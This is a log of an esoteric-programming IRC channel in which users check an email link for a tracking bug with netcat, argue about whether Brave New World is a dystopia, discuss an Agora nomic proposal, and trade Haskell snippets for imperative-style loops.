:Ilari!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Or netcat... < 1270053274 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :why don't you do it? ;P < 1270053645 0 :Ilari!unknown@unknown.invalid PRIVMSG #esoteric :I don't know if it requires some headers, but ncing gets '4xxx0' (chunked encoding). The headers don't seem to contain anything special... < 1270053735 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :mhm < 1270053756 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Ilari, no binary data that isn't visible when output to terminal? < 1270053797 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Ilari, also I hope you changed the bit after @ < 1270053867 0 :Ilari!unknown@unknown.invalid PRIVMSG #esoteric :I dropped it as its presumably not part of URL. < 1270053876 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :mhm < 1270053895 0 :adam_d_!~Adam@aasx145.neoplus.adsl.tpnet.pl JOIN :#esoteric < 1270053896 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Ilari, you are probably correct there. < 1270053935 0 :Ilari!unknown@unknown.invalid PRIVMSG #esoteric :Attempt to "bug" the mail? I dumped the stream as hexadecimal. All characters are either ascii printable, CR or LF. < 1270054086 0 :Ilari!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: If its indeed bugged, you may get some extra spam to that account. Sorry. :-) < 1270054093 0 :adam_d!unknown@unknown.invalid QUIT :Ping timeout: 258 seconds < 1270054264 0 :Ilari!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: But hey, its root@, so it should aready be extra-roasty with spam. :-> < 1270054700 0 :kar8nga!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1270054793 0 :tombom!tombom@wikipedia/Tombomp JOIN :#esoteric < 1270054982 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1270055506 0 :lereah_!unknown@unknown.invalid QUIT :Remote host closed the connection < 1270056687 0 :fax!~none@unaffiliated/fax JOIN :#esoteric < 1270057051 0 :adam_d_!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1270060059 0 :Tritonio_GR!unknown@unknown.invalid QUIT :Quit: Leaving. < 1270060490 0 :augur!unknown@unknown.invalid QUIT :Read error: Operation timed out < 1270060538 0 :augur!~augur@129-2-175-79.wireless.umd.edu JOIN :#esoteric < 1270060871 0 :ehirdiphone!~ehirdipho@82.132.248.25 JOIN :#esoteric < 1270060891 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :Wowz. < 1270060959 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hhi! < 1270061144 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :ehirdiphone < 1270061255 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :Yyyyyo < 1270061258 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :suup < 1270061265 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :everyone has everything, so no one wants anything < 1270061269 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :In the I < 1270061272 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :everyone has everyone so that no one has no one! < 1270061282 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :inner circle of hell < 1270061284 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :We're not too stupid and we're not too bright, to be a gamma is to be just right! < 1270061290 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :I speaketh < 1270061518 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :ehirdiphone: take some soma < 1270061557 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :this channel sucks. < 1270061560 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :ACTION hangs himself < 1270061573 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :lament: Please do! < 1270061594 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :lament, maybe you should go to the reconditioning center! < 1270061625 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :too late, i'm dead! < 1270061628 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :Maybe you should stop being so fucking cheerful! < 1270061632 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :was and will make me ill, I take a gram and there I am! < 1270061636 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :fax that is < 1270061690 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :I am, after all, in the prescense of Dark forces. < 1270061702 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :ehirdiphone - you've not read brave new world? < 1270061792 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :I am joking of course < 1270061815 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :— but it is not the perfect time when mine is so limited :P < 1270061826 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :huh? < 1270061911 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :I am in the Realm of hell — you know; There. < 1270061944 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :ehirdiphone that's why I was referencing brave new world.. seems to have been totally lost on you thouhg < 1270062016 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :bbl < 1270062090 0 :kar8nga!~kar8nga@91.35.72-86.rev.gaoland.net JOIN :#esoteric < 1270062554 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :b < 1270062811 0 :jcp!unknown@unknown.invalid QUIT :Remote host closed the connection < 1270063392 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :Nineteen Eighty-Four would be more apropos. < 1270063469 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric ::( < 1270063779 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :Well, it is true, as better as Huxley's dystopia was. < 1270063797 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :brave new world is a dystopia? < 1270063860 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :You didn't notice? :£ < 1270063864 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :*:) < 1270063885 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :seemed like utopia to me... < 1270063914 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :You would like to live there? < 1270063932 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :what's that to do with anything? < 1270063958 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :I suppose I could grant utopia and dystopia as different forms of the same thing, the former more insidious. < 1270063966 0 :charlls!~charlls@201.226.222.130 JOIN :#esoteric < 1270063970 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :But that isn't the common use. < 1270063984 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :well how is it a dystopia? < 1270064000 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :"It Sucks." < 1270064007 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :how does it suck? < 1270064026 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :Well, that's mere taste. < 1270064060 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :ok so you think it's a dystopia and i don't, what's the problem < 1270064080 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hello < 1270064093 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :lament: Nothing. < 1270064098 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :k < 1270064116 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :fax: Jhellok < 1270064122 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :it's obviously a dystopia :| < 1270064140 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :how so? < 1270064145 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :lament is crazy though :) < 1270064152 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :he just likes the idea of lots of drugs < 1270064161 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :what makes it a dystopia? < 1270064164 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :aren't people happy? < 1270064168 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :no < 1270064175 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :yes they are < 1270064183 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :On a base level < 1270064188 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :Intelevtually? < 1270064191 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :lec < 1270064191 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :that wasn't even a question. that was a statement, disguised as a question. < 1270064242 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :"RHETORIC" ability unlocked! < 1270064249 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hehe < 1270064251 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Hi ehirdiphone < 1270064340 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :ACTION is considering doing some Google Summer of Code stuff < 1270064366 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :I hear it pays quite handily. < 1270064386 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :it does < 1270064393 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :btw nick < 1270064399 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I hate summer of code < 1270064413 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :fax, why? < 1270064433 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I did lots of work on something that happened to be a summer of code project and this idiot just used it for a shitty version which he got paid for < 1270064532 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :death is perfect death is fun, death is good for everyone. < 1270064564 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :coppro: Lazy < 1270064584 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :fair enough < 1270064598 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :did you read the link I sent you (you too, Sgeo)? It's vital to confusing Agora < 1270064612 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :Oh? What link? < 1270064634 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Um, I think I skimmed it. Either that, or assumed that it was just a CFJ < 1270064644 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :the pastebin < 1270064648 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :I have not checked email here. < 1270064657 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :Unit, remember. < 1270064661 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :iPhone. < 1270064663 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :oh, right < 1270064670 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :ok, do it when you get home or something < 1270064677 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :I just need to make sure every Agoran player clicks that link < 1270064705 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :All right — tomorrow then, or if I'm sleepy the day after. < 1270064719 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :coppro: Then I am wary! < 1270064727 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :And so will be ais. < 1270064747 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :ais has read it < 1270064790 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :Oh, also: I will be here on Monday too — not here here but not at here, the unit. < 1270064839 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :coppro: Tell me what it says: and if I approve of the antics I will visit the page. < 1270064878 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :ehirdiphone: it's public forum antics. < 1270064885 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :err, public message antics < 1270064900 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :That is rather less precise than I desire. < 1270064900 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :http://paste.debian.net/66733/ < 1270064920 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :Nope; not that easily. Paste it in /msg? < 1270064939 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :won't work < 1270064948 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :at least, I don't want to confuse things even further < 1270064956 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :even I have limits < 1270064964 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :Then reword it. < 1270065005 0 :kar8nga!unknown@unknown.invalid QUIT :Remote host closed the connection < 1270065044 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :just visit it on the weekend or something < 1270065061 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :Oh, hell; Agora is none of my business. I haven't the time to play it. I should click. < 1270065069 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :But you are being evasive. < 1270065070 0 :charlesq__!~charlls@201.226.222.130 JOIN :#esoteric < 1270065089 0 :charlesq__!unknown@unknown.invalid QUIT :Client Quit < 1270065095 0 :charlls!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1270065098 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :ehirdiphone, the antics are of whether a message linked to by something that's a public message is a public message < 1270065101 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Or something like that < 1270065102 0 :charlls!~charlls@201.226.222.130 JOIN :#esoteric < 1270065119 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :yeah < 1270065123 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :What happens in the pasted message? < 1270065130 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :I try to make the paste a public message < 1270065131 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :coppro makes a proposal < 1270065134 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :and submit a proposal < 1270065147 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :the rest of the antics are in the message that linked the proposal, but that one's definitely public < 1270065152 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Which is withdrawn in a known-to-be-public area < 1270065161 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :Okay; link me. < 1270065172 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :> http://paste.debian.net/66733/ < 1270065180 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :(it also contains a rather lame attempt at paradox) < 1270065213 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :Visited. < 1270065236 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :ok, thanks < 1270065252 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :Man, everyone here is crazy. < 1270065258 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1270065270 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :— here, not #esoteric < 1270065295 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1270065344 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :I am not allowed to be using the Internet incidentally. It's Health And Safety Policy — not that anyone has noticed. < 1270065413 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :fun < 1270065432 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :I got to do something amusing today < 1270065472 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :a tech support guy was coming in, and told me that he needed someone 18 in the house for legal reasons. I rescheduled the appointment to next week, hopefully it'll be the same guy :) < 1270065561 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :ACTION watches himself waste time while he should be working < 1270065614 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :ehirdiphone don't get yourself in trouble < 1270065674 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :Nah < 1270065677 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :The proposed traits feature would bring "horizontal reuse" to the language; think of traits as a PHPish answer to multiple inheritance or Java's interfaces. < 1270065679 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :Lollll < 1270065740 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :whee < 1270065826 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Is there a point to Interfaces in a dynamically typed language? < 1270065835 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :It's a smalltalk feature < 1270065848 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :Bye; gtg < 1270065851 0 :ehirdiphone!unknown@unknown.invalid QUIT :Quit: Get Colloquy for iPhone! http://mobile.colloquy.info < 1270065851 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :bye < 1270066132 0 :cal153!~cal@140a.hackerdojo.com JOIN :#esoteric < 1270066455 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :happy australian mailing list reminders day! < 1270066462 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :lament they don't have poetry in brave new world < 1270067350 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I'm not in Australia, and I got a reminder for the backup lists < 1270067357 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Or is the backup list in Austrailia? < 1270067359 0 :rapido!~robbert@ip545144bf.direct-adsl.nl JOIN :#esoteric < 1270067363 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Oh, yes < 1270067995 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1270068898 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :fax: poetry sucks < 1270069006 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :if you want big bucks < 1270069284 0 :Tritonio_GR!~Tritonio@athedsl-256698.home.otenet.gr JOIN :#esoteric < 1270069537 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1270069721 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :you should drive trucks??? < 1270069833 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :ACTION should write some Haskell.. thingy for FLogic < 1270069848 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :and pretend to be rubber ducks < 1270069891 0 :hiato!unknown@unknown.invalid QUIT :Quit: underflow < 1270069976 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :what's flogic < 1270069986 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :data FValue = Frue | Talse | Floyd deriving (Show) < 1270069992 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Floyd?? < 1270069992 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :fax, ftp://ftp.nvg.ntnu.no/pub/frc/29 < 1270070009 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :fax, oerjan should know < 1270070017 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh that one < 1270070069 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :http://i.imgur.com/ZIyam.png < 1270070163 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :that's clearly cyber-bullying in the picture < 1270070170 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :from causing too many headdesks < 1270070175 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1270070218 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :wow, I need to write another fantasy rule < 1270070309 0 :augur!~augur@129-2-175-79.wireless.umd.edu JOIN :#esoteric < 1270070339 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :is this whole channel just a big game of "agora" and I'm the dice? < 1270070347 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :It's possible to right fully-imperitive code in Haskell, right? < 1270070351 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1270070375 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :What constructs of imperitive languages would need to be written by the programmer though? when -> if and forM_ -> foreach < 1270070402 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :How would you do a while? < 1270070449 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :bool true false True = true < 1270070455 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :bool true false False = false < 1270070504 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :That would be an awkward to use if/else I think < 1270070504 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :while condition body = condition >>= bool (body >> while body) (return ()) < 1270070510 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :no < 1270070513 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :if/then/else is awkward < 1270070515 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :bool is not < 1270070543 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :the whole idea of if/then/else is to just to be more 'familiar' or something stupid thing like that, it is a mistake to have added this to haskell < 1270070544 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :ACTION likes the thought of being able to use Haskell for all his imperitive needs < 1270070578 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :while b x = b >>= flip when (x >> while b x) < 1270070586 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :it's called a fold by the way < 1270070687 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :ACTION is already confused < 1270070737 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :FValue has fewer than 9 possibilities, so it fails < 1270070760 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :while b x = do cond <- b; when cond (do x; while b x) < 1270070769 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo about what < 1270070782 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :while condition body = do c <- condition; if c then do body; while condition body else return () < 1270070806 0 :Azstal!~asztal@host86-155-75-239.range86-155.btcentralplus.com JOIN :#esoteric < 1270070807 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Ok, those make more sense to me < 1270070813 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :than what < 1270070820 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :they're all equivalent of course < 1270070831 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I don't get why people rewrote them < 1270070869 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I had a mistake in mine < 1270070872 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fax: because if _is_ familiar and i thought it _would_ help Sgeo to see while written using it. < 1270070882 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :while condition body = condition >>= bool (body >> while condition body) (return ()) < 1270070896 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I really hate if/then/else it's so out of place < 1270070933 0 :Asztal!unknown@unknown.invalid QUIT :Ping timeout: 265 seconds < 1270070935 0 :Azstal!unknown@unknown.invalid NICK :Asztal < 1270070967 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Is there a point to forM_/mapM_ outside of the IO and ST monads? < 1270070973 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :and State < 1270070992 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Writer < 1270070997 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :RWS < 1270071000 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :RWS? < 1270071019 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :newtype RWS r w s a = RWS {runRWS :: r -> s -> (a, s, w)} < 1270071024 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Maybe if a Nothing occurs in a forM_ in the Maybe monad, the whole thing is nothing < 1270071024 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :? < 1270071029 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Or am I mistaken? < 1270071058 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: all except Reader, i think (and that one only because it cannot pass side effects _out_) < 1270071062 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, I suppose it could be used like that < 1270071069 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh Maybe too i guess < 1270071073 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Either, of course < 1270071080 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Maybe a bit more usefully than Maybe < 1270071090 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :What about []? < 1270071131 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Well, you get back a list of () < 1270071133 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: oh and yeah Maybe forM_ can at least distinguish between Nothing and Just () for the reason you said < 1270071209 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i guess forM_ for [] is useless... < 1270071232 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :well you get a list of ()'s, don't you < 1270071240 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :You can apply length to the result and get a complicatedly-calculated integer < 1270071287 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :length . mapM_ (\x -> [x,x]) is equivalent to (^2) . length < 1270071288 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :however, the same can be done with Writer (Sum Integer) iirc < 1270071289 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I think < 1270071367 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :"If an FStatement ends with the same three words < 1270071367 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric : as another FStatement, then either both are < 1270071367 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric : Floyd, or one has the FValue Talse and the < 1270071367 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric : other has the FValue Frue." < 1270071371 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :That's mind-breaking < 1270071393 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Er, (2^), not (^2), obviously < 1270071514 0 :Oranjer!~HP_Admini@adsl-243-221-66.cae.bellsouth.net JOIN :#esoteric < 1270072267 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Can I make an operator (+) in Haskell? < 1270072275 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :((+)) = --whatever? < 1270072288 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :well (+) is already defined < 1270072335 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :you can (1) hide the usual definition and replace with your own, or (2) implement the Num class in which (+) is a method for your own type < 1270072345 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :But I'm asking for ((+)) < 1270072351 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1270072360 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Frue (+) Talse < 1270072363 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :For instance < 1270072365 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :no < 1270072383 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :no, (+) always means the function underlying the operator + < 1270072400 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(or \x y -> x+y) < 1270072434 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :put another way, ( and ) are not legal operator characters < 1270072439 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Darn < 1270072454 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Maybe I could call it <+> < 1270072470 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :yeah that's a legal operator < 1270072484 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :in fact i think it's also defined somewhere < 1270072489 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :a legal operator named sue < 1270072489 0 :Sgeo!unknown@unknown.invalid TOPIC #esoteric :! < 1270072491 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :GAH < 1270072492 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Oops < 1270072498 0 :fax!unknown@unknown.invalid TOPIC #esoteric :< Sgeo> GAH < 1270072515 0 :lament!unknown@unknown.invalid TOPIC #esoteric :This topic is correct today, but will be incorrect tomorrow. < 1270072517 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :WTF did I press in XChat to cause that? < 1270072534 0 :Deewiant!unknown@unknown.invalid TOPIC #esoteric :this topic is incorrect today but will be correct tomorrow | last topic change: 1 day ago | http://tunes.org/~nef/logs/esoteric/?C=M;O=D < 1270072546 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Control.Arrow (<+>) :: ArrowPlus a => a b c -> a b c -> a b c < 1270072588 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :hoogle lists another one related to pretty printing < 1270072593 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Actually, that topic will never be correct. < 1270072597 0 :rapido!unknown@unknown.invalid QUIT :Quit: rapido < 1270072613 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: It's not mine, it's the previous one. < 1270072629 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Previous-poster: Actually, that topic will never be correct. < 1270072636 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :What derivings should I make for FValues? < 1270072638 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: You want ais523 < 1270072640 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Show, but anythign else? < 1270072645 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :ais523: Actually, that topic will never be correct. < 